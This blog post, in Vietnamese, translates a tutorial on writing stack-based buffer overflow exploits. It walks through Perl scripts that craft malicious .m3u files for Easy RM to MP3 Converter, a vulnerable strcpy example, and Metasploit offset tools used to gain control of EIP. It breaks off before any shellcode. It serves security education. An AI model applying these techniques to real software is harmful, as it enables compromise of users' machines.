Friday, March 23, 2012

Exploit writing tutorial part 1 : Stack Based Overflows

Exploit writing tutorial part 1 : Stack Based Overflows

Ngày 14/7/2009, một người với nickname “Crazy_Hacker” thông báo một lỗ hổng trong phần mềm: trong phần mềm: Easy RM to MP3 Conversion Utility ( phiên bản trên Windows XP SP2 EN) trên packetstormsecurity.org ( Tham khảo tại: http://packetstormsecurity.org/0907-exploits/). Tài liệu này mô tả về phương pháp khai thác, vì lý do nào, exploit có thể không thành công. Bạn có thể sao chép PoC exploit code, run it, và thấy rằng nó không hoạt động ( hoặc may mắn nó sẽ hoạt động..) hoặc bạn sẽ cố gắng tìm hiểu quá trình xây dựng một exploit, từ đó bạn có thể sửa chữa broken exploit ( exploit không phù hợp với phiên bản Windows, ví dụ như SP3 chẳng hạn) , hoặc thử xây dựng một exploit của riêng bạn từ đầu.
Câu hỏi được đặt ra là: Làm thế nào để xây dựng một exploit? Quá trình từ phát hiện khả năng có thể exploit đến xây dựng một exploit thự c tế ra sao? Làm thế nào có thể sử dụng những thông tin thu thập được để xây dựng exploit?
Kể từ khi tôi bắt đầu viết tutorial, việc viết một basic tutorial về buffer overflow theo kiểu “to do” luôn có trong danh sách, tuy nhiên tôi chưa thực sự để dành thời gian để hoàn thành việc đó.
Khi tôi đọc được thông báo về vulnerability ( lỗ hổng) này, xem xét exploit, tôi thấy rằng nó có thể là một ví dụ hoàn hảo giới thiệu về khai thác cơ bản. Nó khá là đơn giản, cho phép tôi chứng minh một số kỹ thuật về tràn bộ nhớ đệm trên stack - stack based buffer overflows.
Tôi sử dụng lỗ hổng trong “Easy RM to MP3 conversion utility”  làm ví dụ và trình bày các bước để xây dựng một exploit. Có nghĩa, chúng ta sẽ xây dựng nó từ đầu.
Trước khi bắt đầu, tôi xin được lưu ý. Tài liệu này dành cho mục đích giáo dục. Tôi không muốn một ai sử dụng nó để tấn công vào một máy tính. Vì vậy, tôi không thể chịu trách nhiệm cho các hành vi của người khác, những sử dụng nó cho các mục đích bất hợp pháp.
Những thông tin bạn nhận được từ báo cáo lỗ hổng mô tả cơ bản về lỗ hổng, bản báo cáo có tên là: ““Easy RM to MP3 Converter version 2.7.3.700 universal buffer overflow exploit that creates a malicious .m3u file”. Nói cách khác, bạn có thể tạo một file chữa mã độc ( malicious): *.m3u, đưa cho phần mềm xử lý và trigger – kích hoạt exploit. Bạn có thể mô phỏng để làm crash – hoặc làm phần mềm có hành vi lạ.
“Trước khi bắt đầu phần đầu tiên của loạt bài tutorial về exploit writing, cho phép tôi giới thiệu diễn đàn mà ở đó chúng ta có thể thảo luận về exploit writing – question – tip – trick... Bạn có thể truy cập vào: https://www.corelan.be/index.php/forum/writing-exploits/
  1. Verify the bug – Xác nhận bug   
Đầu tiên, cần xác nhận rằng ứng dụng không thực sự crash – sụp đổ khi mở định dạng m3u – hoặc ứng dụng bị treo khi mở dữ liệu thủ công đặc biệt - specifically crafted data.
Hãy lấy một phiên bản Easy RM to MP3 có lỗi và cài đặt nó trên Windows XP. Báo cáo lỗi đưa ra exploit trên Windows XP SP2, tuy nhiên chúng ta sẽ làm cho nó hoạt động trên Windows SP3.
Phiên bản có lỗi có thể download tại: https://www.corelan.be/?dl_id=37
Note: Bạn có thể tìm các phiên bản cũ hơn tại oldversion.com oldversion.com. Exploit có thể tìm kiếm trên exploit-db.com.
Chúng ta sẽ sử dụng một đoạn code perl để tạo ra file crash.m3u giúp chúng ta thu thập được nhiều thông tin về lỗ hổng này
my $file= "crash.m3u";
my $junk= "\x41" x 10000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";
Chạy đoạn  script này sẽ tạo file m3u, được lấp đẩy bởi 10000 ký tự A (\x41 mà mã hexa của A) và mở nó bằng phần mề Easy RM to MP3. Ứng dụng đưa ra một thông báo lỗi như có vẻ được xử lý chính xác và ứng dụng không bị crash:
Thử thay đổi script với 20000 A và thử lại, vẫn như vậy ( ngoại lệ được xử lý chính xác và chúng ta vẫn chưa thể ghi đè được những thông tin có ích – chi tiết ở phía sau). Bây giờ thử thay đổi với 30000 A và mở bằng phần mềm:
Boom – application dies.
Vậy là ứng dụng bị crash nếu file có 20000 đến 30000 A. Nhưng ta có thể làm gì với nó.
Verify the bug – và xem có những gì thú vị ở đó
Rõ ràng, không phải tất cả ứng dụng bị crash đều khai thác được. Trong nhiều trường hợp, một ứng dụng bị crash sẽ không dẫn đến exploit.. Nhưng một số lại có thể. Với “exploit”, chúng ta sẽ bắt ứng dụng làm một cái gì đó mà không có ý định làm, ví dụ như chạy một đoạn code của bạn chẳng hạn. Đơn giản nhất để làm ứng dụng làm gì đó khác bằng cách điều khiển luồng của ứng dụng – application flow. Điều đó có thể được bằng cách điều khiển các con trỏ hướng dẫn - Instruction Pointer hoặc Program Counter, là một thanh ghi của CPU chứa con trỏ chỉ đến lệnh tiếp theo sẽ được thực hiện.
Giả sử ứng dụng gọi một hàm với một tham số. Trước khi đến hàm đó, nó sẽ lưu lại vị trí hiện tại ( thường được biết đến là địa chỉ quay về khi hàm kết thúc). Nếu bạn có thể thay đổi giá trị của con trỏ này trỏ nó đến một chỗ khác trong bộ nhớ  mà chứa phần code của bạn, tiếp theo bạn có thể thay đổi dòng xử lý của ứng dụng và làm cho nó thực thi một cái gì đó khác ( thay vì trỏ về vị trí ban đầu). Đoạn code mà bạn muốn được thực thi sau khi điều khiển được con trỏ thường được gọi là “shellcode”. Vì vậy, nếu chúng ta làm cho ứng dụng chạy shellcode của chúng ta, chúng ta có thể goi nó là một exploit. Trong hầu hết trường hợp, con trỏ này được tham chiếu bởi thanh ghi EIP. Thanh ghi có độ dài 4 bytes. Cho nên nếu bạn có thể thay đổi 4 bytes này, bạn sẽ làm chủ được ứng dụng – và computer chạy ứng dụng đó.
  1. Trước khi tiến hành, có một số lý thuyết sau:

Một vài thuật ngữ bạn sẽ cần:
Mọi ứng dụng Windows sử dụng các phần của bộ nhớ. Trong đó gồm 3 thành phần chính là:
  • Code segment: mã lệnh hướng dẫn bộ xử lý thực thi. (EIP trỏ đến mã lệnh sẽ được thực thi tiếp theo)
  • Data segment: biến – varible, dynamic buffer
  • Stack segment: được sử dụng để truyền data ( dữ liệu) – tham số ( agrument) vào trong hàm, và được sử dụng như là một nơi lưu trữ  biến. Stack bắt đầu ( đáy stack) tại vị trí kết thúc ( very end) của  trang bộ nhớ ảo ( virtual memory)  và giảm dần. Lệnh PUSH thêm vào đỉnh stack, POP thì lấy nó ra ( 4bytes) và chuyển vào thanh ghi.
Nếu muốn truy cập stack trực tiếp, có thể sử dụng thanh ghi ESP (Stack Pointer). Thanh ghi này luôn trỏ vào đỉnh stack - địa chỉ thấp nhất của stack.
Sau khi PUSH, ESP sẽ trỏ đến địa chỉ thấp hơn ( địa chỉ sẽ được giảm bằng size của dữ liệu được push vào stack – thường là 4 bytes với địa chỉ / thanh ghi) Việc giảm địa chỉ thường được thực hiện trước khi đặt dữ liệu vào stack ( tùy thuộc vào quá trình thực hiện – nếu ESP chỉ vào vị trí tiếp theo trong stack, việc giảm sẽ tiến hành sau khi đặt dữ liệu vào stack)
Sau khi POP, ESP trỏ đến địa chỉ cao hơn ( địa chỉ được tăng, thường là 4bytes). Việc tăng địa chỉ xảy ra khi sau khi gỡ bỏ thành phần ra khỏi stack.
Khi một hàm/ chương trình con bắt đầu, một frame stack được tạo ra. Frame này sẽ lưu các thông số của thủ tục trước đó và được sử dụng để chuyển tham số cho chương trình con. Vị trí hiện tại của con trỏ có thể truy cập qua ESP - stack pointer. Cơ sở bắt đầu của hàm hiện tại được chứa trong  thanh ghi cơ sở - base pointer (EBP) hoặc frame pointer.
Các thanh ghi phổ biến (Intel, x86) là:
  • EAX – accumulator: được sử dụng cho việc tính toán, lưu trữ dữ liệu ( trong function call chẳng hạn). Sử dụng trong các toán tử cơ bản như add, subtract, compare.
  • EBX : base:  ( không có bất kỳ điều gì cần làm với thanh ghi cơ sở) không có mục đích chính xác và được sử dụng để lưu dữ liệu.
  • ECX : counter: được sử dụng để lặp – ECX giảm dần.
  • EDX : data : thanh ghi mở rộng của EAX. Cho phép các tính toán phức tạp hơn ( multiply – divde) bằng cách cho phép mở rộng lưu trữ dữ liệu tạo điều kiện cho tính toán ( như lưu thương số vào EAX, phần dư vào EDX chẳng hạn)
  • ESP : stack pointer
  • EBP : base pointer
  • ESI : source index : lưu giữ vị trí của input data.
  • EDI : destination index  : chỉ đến vị trí kết quả của toán tử được lưu trữ.
  • EIP : instruction pointer.
  1. Process Memory

Khi ứng dụng bắt đầu trong môi trường Win32, tiến trình được tạo và bộ nhớ ảo     (virtual memory) được gán. Với tiến trình 32 bit, địa chỉ bắt đầu từ 0×00000000 đến 0xFFFFFFFF. Trong đó từ 0×00000000 đến 0x7FFFFFFF được gán cho “user-land”, còn từ 0×80000000 đến 0xFFFFFFFF được gán cho “kernel-land”. Windows sử dụng flat memory model – điều đó có nghĩa CPU có thể trực tiếp / tuần tự / tuyến tính địa chỉ tất cả vị trí địa chỉ có sẵn mà không cần phải sử dụng phân đoạn – phân trang.
Bộ nhớ Kernel land chỉ được truy cập bởi OS
Khi tiến trình được tạo , PEB (Process Execution Block) và TEB (Thread Environment Block) cũng được tạo.
PEB bao gồm tất cả user land parameters ( tham số của user land) gắn với tiến trình hiện tại:
  1. Vị trí của main excute
  2. Trỏ đến loader data ( sử dụng để hiển thị tất cả dll / module được load trong tiến trình)
  3. Trỏ đến thông tin về heap
TEB mô tả trạng thái của tiến trình, bao gồm:
  1. Vị trí của PEB trong bộ nhớ
  2. Vị trí của stack trong tiến trình mà nó sở hữu
  3. Trỏ đến entry đầu tiên của SEH chain
Mỗi luồng (thread)  bên trong tiến trình (process) có một TEB.
Sơ đồ bộ nhớ trong tiến trình của Win32:
Phân đoạn text ( text segment) trong program image là read-only, và chỉ bao gồm application code. Điều này hạn chế sửa đổi application code. Data segment được sử dụng để lưu trữ biến toàn cục (global) và biến tĩnh (static). Data segment được sử dụng để khởi tạo global variables, strings, constants.
Data  segment có khả năng ghi và có size cố định. Heap segment được sử dụng cho các phần còn lại của program variables. Nó có thể phát triển lớn hơn hoặc nhỏ hơn thiết kế.Tất cả bộ nhớ trong heap được quản lý bởi thuật toán cấp phát và thuật toán thu hồi. Một vùng nhớ được dành riêng bởi thuật toán. Heap sẽ phát triển địa chỉ lên cao hơn.
Trong dll, các mã, đầu vào (danh sách các hàm được sử dụng bởi dll hoặc dll khác và ứng dụng), đầu ra là một phần của .text segment.
  1. Stack

Stack là một phần của tiến trình bộ nhớ, một cấu trúc dữ liệu hoạt động theo mô hình LIFO (Last in first out). Stack được cấp phát bởi OS cho mỗi thread – khi thread được tạo. Khi thread kết thúc, stack sẽ được clear.Size của stack được định nghĩa khi được tạo và không thể thay đổi. Kết hợp với LIFO không đòi hỏi cơ chế quản lý phức tạp nên stack khá nhanh – tuy nhiên bị giới hạn trong kích cỡ.
LIFO có nghĩa là dữ liệu được đặt vào gần nhất sẽ là dữ liệu đầu tiên được lấy ra.
Khi stack được tạo, con trỏ stack trỏ về đỉnh của stack ( bằng địa chỉ cao nhất của stack). Ngay khi dữ liệu được push vào stack, con trỏ stack giảm ( tới địa chỉ thấp hơn). Vì vậy, stack phát triển xuống vùng địa chỉ thấp hơn.
Stack lưu local variables, function call và những thông tin khác mà không cần lưu trữ trong thời gian lớn. Mỗi lần gọi hàm ( function call), các tham số của hàm được push vào stack, và các giá trị được lưu vào các thanh ghi (EIP, EBP). Khi hàm kết thúc , giá trị đã lưu của EIP được lấy ra từ stack và đặt trở lại EIP, từ đó ứng dụng có thể trở lại bình thường.
Hãy sử dụng đoạn code sau để chứng minh điều đó:
#include

void do_something(char *Buffer)
{
    char MyVar[128];
    strcpy(MyVar,Buffer);
}

int main (int argc, char **argv)
{
    do_something(argv[1]);
}
“Bạn có thể complite đoạn code này, sử dụng Devcpp, tạo một console project ( sử dụng ngôn ngữ C, không phải C++) paste đoạn code này vào và complete nó. Trên hệ thống của tôi, tôi đặt tên project là “stacktest”. Chạy ứng dụng này "stacktest.exe AAAA". Không có gì cả”
Ứng dụng lấy 1 agrument – tham số ( argv[1] và truyền nó vào hàm do_something) Trong hàm này, agrument sẽ được copy tới biến cục bộ có độ dàu tối đa 128bytes. Vậy nếu agrument dài hơn 127bytes ( 1 Null byte để ngắt xâu) bộ đệm có thể bị tràn.
Khi hàm do_something() được gọi từ trong hàm main(), có những điều sau xảy ra:
Một stack frame được tạo ra, ở đỉnh của stack “cha” – parent stack. Con trỏ stack -  stack pointer (ESP) trỏ vào địa chỉ cao nhất của stack mới được tạo. Đây là đỉnh của stack.
Trước khi do_something() được gọi, con trỏ trỏ đến agrument vừa được push vào stack. Trong trường hợp này là trỏ tới argv[1]
Stack sau khi thực hiện lệnh MOV
Tiếp theo, hàm do_something được gọi. Hàm CALL đầu tiên đặt con trỏ lệnh hiện thời vào stack ( đây được biết là nơi mà trở lại khi hàm hết thúc) và nhảy tới function code ( đoạn code của hàm)
Stack sau khi thực hiện hàm CALL:
Sau khi push, ESP sẽ giảm 4bytes và trở về địa chỉ thấp hơn:

ESP trỏ đến 0022FF5C, ở địa chỉ này, chúng ta thấy địa chỉ đã lưu của EIP (Return to…) , tiếp theo là trỏ đến tham số ( AAAA trong ví dụ này).  Con trỏ đã được lưu trên stack trước khi hàm CALL được thực thi.
Tiếp theo, hàm prolog thực thi. Về cơ bản, thanh ghi cơ sở - frame pointer (EBP) được đặt vào stack. Vì vậy nó có thể được phục hồi khi hàm trở về. Lệnh để lưu frame pointer là “push ebp” . ESP lại giảm 4bytes lần nữa.
Sau khi push ebp, con trỏ stack hiện tại (ESP) đặt vào EBP. Tại điểm này, cả ESP và EBP đều trỏ vào đỉnh của stack. Từ thời điểm đó, stack được tham chiếu bởi ESP ( luôn ở đỉnh của stack bấy kỳ lúc nào) và EBP, con trỏ cơ sở của stack hiện tại. Bằng cách này, ứng dụng có thể tham chiếu đến các biến bằng các sử dụng offset với EBP.
“Hầu hết các hàm đều bắt đầu với: PUSH EBP. Theo sau là: MOV EBP,ESP”
Vì vậy, nếu bạn push 4bytes nữa  vào stack. ESP sẽ giảm một lần nữa còn EBP vẫn ở lại đó. Bạn có thể tham chiếu 4bytes này bằng cách sử dụng EBP – 0x8.
Tiếp theo, chúng ta sẽ xem làm thế nào stack phân bổ khoảng trống cho biến MyVar (128bytes). Đễ giữ các dữ liệu, một số không gian trên stack được phân bố để lưu giữ biến, ESP sẽ giảm một số bytes. Con số này có thể là hơn 128bytes, tùy thuộc vào trình biên dịch. Trong trường hợp của Devcpp, sẽ là  0×98 bytes, cho nên bạn sẽ nhìn thấy lệnh SUB ESP,0×98. Bằng cách đó, sẽ có không gian cho biến:
Disassembly của hàm giống như sau:
00401290  /$ 55             PUSH EBP
00401291  |. 89E5           MOV EBP,ESP
00401293  |. 81EC 98000000  SUB ESP,98
00401299  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]             ; |
0040129C  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |
004012A0  |. 8D85 78FFFFFF  LEA EAX,DWORD PTR SS:[EBP-88]            ; |
004012A6  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; |
004012A9  |. E8 72050000    CALL                 ; \strcpy
004012AE  |. C9             LEAVE
004012AF  \. C3             RETN
Đừng lo lắng vì quá nhiều code. Bạn có thể thấy rõ chức năng prolog: PUSH EBP và MOV EBP,ESP. Tiếp theo bạn sẽ thấy cấp phát khoảng trống cho biến Myvar: SUB ESP,98. Và bạn sẽ thấy một số hàm MOV và LEA ( cơ bản là thiết lập các tham số cho lời gọi hàm strcpy). Có thể giải thích là: đặt con trỏ về argv[1]  ( chính là EBP+8 – sao chép nó vào EAX), sau đó sao chép EAX vào biến Myvar ( có vị trí là ESP+4).
Cụ thể như sau:
PUSH EBP: Tiến hành lưu EBP rồi MOV EBP,ESP: ESP và EBP cùng trỏ tới đỉnh stack, là EBP vừa được push vào.
SUB ESP,98: Tiến hành cấp phát một khoảng nhớ là 152bytes ( 98 hexa to decima).
MOV EAX,DWORD PTR SS:[EBP+8] : EBP cộng 8 chính là ptr to argv[1]. Bước này sao chép địa chỉ trỏ tới argv[1] vào EAX. Lưu ý rằng địa chỉ có độ dài bằng 1 thanh ghi 32bit tức 4bytes.
MOV DWORD PTR SS:[ESP+4],EAX: Sao chép EAX ( tức địa chỉ argv[1] tới ESP cộng 4. Nhớ rằng sau khi SUB ESP,98, ESP được giảm đi, ở đỉnh stack ( như hình trên) chứ không còn cùng trỏ vào EBP nữa. ESP cộng 4 là từ đỉnh giảm xuống 4 ( stack phát triển từ cao xuống thấp). Lúc này, 4bytes trên đỉnh stack chứa địa chỉ argv[1].
LEA EAX,DWORD PTR SS:[EBP-88] : Lệnh này sẽ lưu địa chỉ ô nhớ EBP trừ 88 vào EAX:
MOV DWORD PTR SS:[ESP],EAX: Địa chỉ này sau đó được ghi vào ESP. ESP lúc này trỏ vào EBP trừ 88, tức bắt đầu của nơi strcpy() lưu giá trị của argv[1].
CALL                 ; \strcpy
Sau khi thực hiện xong, tiến hành LEAVE để lấy lại EBP đã lưu, RET lấy lại EIP đã lưu, chuyển về hàm main.
Nếu như không có hàm strcpy() trong hàm này, hàm sẽ kết thúc và “unwind” stack. Cơ bản là, nó sẽ di chuyển ESP lại ESP đã lưu, sau đó thực hiện lênh RET. RET trong trường hợp này sẽ lấy con trỏ ESP từ stack và nhảy đến đó.  Sau đó, nó sẽ quay lại trở lại chương trình chính, nơi mà hàm do_something() đã được gọi. Hướng dẫn epilog được thực hiện bởi lệnh LEAVE, mà ở đó sẽ hồi phục framepointer và EIP. Trong ví dụ của chúng ta, có hàm strcpy()
Hàm này sẽ đọc dữ liệu, từ địa chỉ trỏ bởi [Buffer], và lưu trữ nó trong ( trong sơ đồ trên), đọc tất cả dữ liệu cho tới khi null byte (string terminator). Trong khi sao chép dữ liệu, ESP ở nơi nó trỏ tới. Strcpy() không sử dụng PUSH để đưa dữ liệu vào stack, nó sẽ đọc 1 bytes và đưa vào stack, sử dụng index ( như ESP, ESP+1, ESP+2). Sau khi copy, ESP trỏ về đầu chuỗi.
Có nghĩa là, nếu [buffer] lớn hơn 0x98bytes, strcpy() sẽ ghi đè EBP được lưu và cả EIP. Sau đó, nó chỉ đọc và ghi cho đến khi gặp được null byte trong chuỗi nguồn.
ESP vẫn trỏ vào điểm bắt đầu chuỗi. Hàm strcpy() kết thúc nếu không có gì sai, sau khi strcpy(), hàm kết thúc ( do_something()). Và đây là mọi thứ trở nên thú vị. Chức năng epilog được kích hoạt. Cơ bản, nó sẽ di chuyển ESP về nơi EIP đã được lưu, rồi tiến hành RET. Nó sẽ lấy con trỏ (AAAA hoặc 0×41414141  tùy trường hợp) và nhảy đến địa chỉ đó.
Vì vậy, bạn kiểm soát được EIP. Bằng cách điều khiển EIP, bạn thay đổi địa chỉ trở về ( return address) để chương trình tiếp tục bình thường.
Đương nhiên, bạn có thể thay đổi địa chỉ trở về bằng cách tận dụng  buffer overflow.
Vì vậy, giả sử bạn có thể ghi đè buffer trong Myvar, EBP, EIP và bạn có một đoạn code của riêng bạn, ở vùng trước và sau khi EIP được lưu. Sau khi ghi đè, EIP sẽ trỏ về đoạn code của bạn. Và bạn đã làm cho  EIP trỏ tới đoạn code của bạn, và bạn đã nắm quyền điều khiển.
Note: Khi một bộ đệm tràn trên stack, thuật ngữ: "stack based overflow" hoặc "stack buffer overflow" được sử dụng. Khi bạn cố thay đổi stack frame, thuật ngữ "stack overflow" được sử dụng. Đừng nhẫm lẫn hai thuật ngữ, vì nó khác nhau
  1. The debugger

Để thấy được trạng thái của stack ( và giá trị của thanh ghi, như con trỏ stack, con trỏ lệnh..)  chúng ta cần phải hook một debugger tới ứng dụng, chúng ta có thể thấy những gì xảy ra trong thời gian ứng dụng chạy ( và đặc biệt khi nó “die”)
Có nhiều trình debug cho mục đích này, trong đó là Windbg, và Immunity’s Debugger.
Chúng ta sẽ sử dụng Windbg. Cài đặt Windbg (Full install) và đăng ký như là một “post-mortem” debugger bằng việc sử dụng windbg –I
Bạn có thể disable “xxxx has encountered a problem and needs to close” popup bằng chỉnh sửa register key:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto : Đặt là  0
Để tránh Windows thông báo về “Symbol files not found”, tạo một thư mục trên ổ đĩa của bạn ( ví dụ là c:\windbgsymbols). Trong Windbg, tới “File” – “Symbol File Path” và thêm dòng sau:
SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols
Note: không để dòng trắng phía sau, đảm bảo chỉ có chuỗi này trong trường symbol path.
Nếu bạn sử dụng Immunity Debugger, cài đặt và mở Immunity debugger, tới "Options" – "Just in-time debugging" và click "Make Immunity Debugger just in-time debugger".
Bây giờ chúng ta sẽ bắt đầu:
Chạy Easy RM to MP3 và mở file crash.m3u một lần nữa. Ứng dụng sẽ crash một lần nữa. Nếu bạn đã disable popup, windbg hoặc Immunity debugger sẽ tự động kích hoạt. Nếu bạn gặp, bấm vào nút debug, và debugger sẽ được bắt đầu:
Windbg :
Immunity :
2 giao diện này cho thông tin gần giống nhau, nhưng mỗi cái một kiểu. Ở trái trên, bạn có thể thấy CPU view, hiểu thị assembly code. Cửa sổ trống vì EIP hiện tại trỏ tới 41414141 là một địa chỉ sai ( AAAA). Bên phải trên, bạn sẽ thấy các thanh ghi. Phải dưới là nội dung của stack.
Vì vậy, trông nó như một phần của file m3u được đọc vào buffer và gây nên buffer overflow. Chúng ta đã gây nên tràn bộ nhớ đệm và ghi đè lên trong trỏ lệnh. Vì vậy chúng ta có thể kiểm soát thanh ghi EIP
File của chúng ta chỉ chứa A, chính vì vậy chúng ta không biết xác độ lớn của của buffer để ghi đè chính xác EIP. Nói cách khác, nếu chúng ta muốn ghi đè cụ thể EIP ( để làm cho nó nhảy đến đoạn mã của chúng ta) chúng ta phải biết chính xác vị trí trong buffer/payload sẽ ghi đè địa chỉ trả về. Vị trí này thường được gọi là offset
  1. Xác định kích thước của buffer để ghi chính xác vào EIP

Chúng ta biết được rằng EIP nằm ở vị trí nào đó giữa 20000 và 30000bytes của buffer. Bây giờ, bạn có khả năng ghi đè tất cả không gian bộ nhớ giữa 20000 và 30000 bytes với địa chỉ bạn muốn ghi đè EIP. Điều này có thể làm được, nhưng sẽ tốt hơn nếu bạn tìm được chính xác vị trí để ghi đè. Để xác định vị trí chính xác của offset EIP trong buffer chúng ta, chúng ta cần làm thêm một số việc bổ sung:
Đầu tiên, chúng ta sẽ sớm thu hẹp khoảng bằng cách thay đổi nội dung file perl.
Chúng ta sẽ giảm những thứ một nửa. Chúng ta sẽ tạo ra 1 file 25000 A và 5000B. Nếu EIP chứa 41414141, EIP sẽ nằm giữa 20000 và 25000. Còn nếu EIP chứa 42424242, EIP ở giữa 25000 và 30000.
my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";
Tạo file và mở file: crash25000.m3u bằng Easy RM to MP3
Do đó, EIP chứa 42424242 (BBBB)  nên chúng ta biết rằng EIP nằm giữa 25000 và 30000.
Buffer :
                      [       5000 B's                   ]
[AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......]
    25000 A's                        EIP  ESP points here
Hiển thị nội dung ESP:
0:000> d esp
000ff730  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff740  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff750  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff760  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff770  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff780  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff790  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff7a0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0:000> d
000ff7b0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff7c0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff7d0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff7e0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff7f0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff800  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff810  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff820  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0:000> d
000ff830  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff840  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff850  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff860  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff870  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff880  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff890  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
000ff8a0  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
Chúng ra đã ghi đè được EIP với BBBB và có thể thấy được buffer trong ESP
Chúng ra cần tìm chính xác vị trí trong buffer ghi đè EIP. Để làm được việc đó, chúng ra sử dụng Metasploit
Metasploit là công cụ tốt để giúp tính toán offset. Nó sẽ tạo tra những string chứa những mẫu duy nhất. Sử dụng mẫu này, cùng với giá trị EIP sau khi sử dụng mẫu này trong file m3u) chúng ta thấy được bộ đệm dù lớn sẽ được được ghi đè EIP như thế nào.
Mở thư mục tool trong metasploit framework3. Bạn sẽ tìm thấy một script là pattern_create.rb. Tạo một mẫu với 5000 ký tự và ghi nó ra file.
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000

Thay đổi perl script của chúng ta và thay đổi $junk2 bằng 5000 ký tự của chúng ta:
my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = “put the 5000 characters here”
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";
Tạo m3u file, và mở bằng Easy RM to MP3. Đợi cho ứng dụng “die” và chú ý đến nội dung của EIP:
Trong lần này, EIP chứa giá trị 0x356b4234
Chúng ta sẽ sử dụng công cụ thứ hai của metasploit ngay bây giờ. Để tính toán độ dài chính xác của buffer trước khi ghi vào EIP, căn giữa vị trí EIP và độ dài buffer:
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 5000
1094
root@bt:/pentest/exploits/framework3/tools#

Ta thấy kết quả câu lệnh ra 1094, đó là độ dài buffer cần để ghi đè EIP. Cho nên, nếu bạn tạo một file với 25000+1094 A, theo sau là 4 B (42424242) EIP sẽ chứa 42424242. Chúng ta biết rằng EIP chỉ đến một điểm dữ liệu trong buffer, nên chúng ta sẽ thêm một số C sau khi ghi đè EIP.
Chúng ta sẽ thay đổi file m3u để tạo file m3u mới:
my $file= "eipcrash.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

Tạo file eipcrash.m3u, mở nó bằng Easy RM to MP3, quan sát crash và chú ý tới nội dung ESP:
0:000> d esp
000ff730  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff740  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff750  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff760  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff770  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff780  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff790  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
000ff7a0  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

Tuyệt vời, bây giờ EIP đã chứa BBBB, đó chính xác là điều mà chúng ta cần. Bây giờ chúng ta sẽ điều khiển EIP. Trên đỉnh của nó, ESP trỏ đến buffer của chúng ta (C)
Note: offset ở đây là kết quả thu được trên hệ thống của tôi, nếu bạn cố gắng làm lại tutorial này, bạn sẽ nhận được một giá trị offset khác. Vì vậy, xin vui lòng không lấy giá trị offset hoặc sao chép source code về hệ thống của bạn.
Expliot buffer của chúng ta sẽ trông như thế này:
